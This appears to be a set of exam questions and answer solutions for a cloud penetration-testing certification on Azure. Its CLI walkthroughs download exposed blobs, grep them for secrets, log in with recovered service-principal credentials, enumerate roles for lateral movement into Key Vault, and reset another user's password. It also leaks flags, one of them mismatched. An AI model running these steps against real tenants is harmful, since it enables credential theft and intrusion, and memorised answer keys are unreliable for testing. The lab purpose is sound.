The SecOps Group CCPenX-Az Exam Questions

Detailed Solution:

Download the blob:

az storage blob download \

--account-name prodreportstore01 \

--container-name public-backups \

--name backup-config.json \

--file backup-config.json \

--auth-mode login

Read the file:

cat backup-config.json

Expected structure:

{

'tenantId': '8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a',

'clientId': 'c5fba7db-5e61-45bc-8944-3cd457bb19c2',

'clientSecret': 'REDACTED'

}

The App Registration application/client ID is stored in:

clientId

================

Detailed Solution:

Use the app registration credentials recovered from blob storage.

az login --service-principal \

-u '<client-id>' \

-p '<client-secret>' \

--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Confirm that you are authenticated as a service principal:

az account show

Now enumerate role assignments for the app registration.

az role assignment list \

--assignee '<client-id>' \

--all \

--output table

If the --assignee lookup fails, first resolve the service principal object ID:

az ad sp show \

--id '<client-id>' \

--query id \

--output tsv

Then query role assignments by object ID:

SP_OBJECT_ID=$(az ad sp show --id '<client-id>' --query id -o tsv)

az role assignment list \

--assignee '$SP_OBJECT_ID' \

--all \

--output table

The assigned role is:

Key Vault Secrets User

This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.

Final Answer:

A . Key Vault Secrets User

================

Detailed Solution:

First identify the managed identity attached to the Web App.

az webapp identity show \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

You should see a user-assigned managed identity similar to:

{

'userAssignedIdentities': {

'/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity': {

'clientId': 'cf3664d4-5cec-4feb-b0ef-88b7958809df',

'principalId': 'efe89e83-010f-42f6-9576-30531fa47af7'

}

}

}

Now query the role assignments for the managed identity's principal ID:

az role assignment list \

--assignee efe89e83-010f-42f6-9576-30531fa47af7 \

--all \

--output table

The returned custom role is:

AppService-Auditor

That makes option D correct.

Final Answer:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Detailed Solution:

As the second compromised user, enumerate directory users:

az ad user list --output table

Use a cleaner query to show names, UPNs, and job titles:

az ad user list \

--query '[].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle}' \

--output table

You should identify a target user whose profile contains a flag in the jobTitle attribute.

The important target is:

lila.nguyen@azuresecops.onmicrosoft.com

Her jobTitle field contains:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.

Final Answer:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

================

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token '$SAS' \

--query '[].name' \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token '$SAS'

Search the downloaded files for application credentials:

grep -RniE 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' -CaseSensitive:$false

A typical file may look like this:

{

'tenantId': 'f015f36d-c07f-41fb-9bde-fffc3a22ee8b',

'clientId': '',

'clientSecret': ''

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

================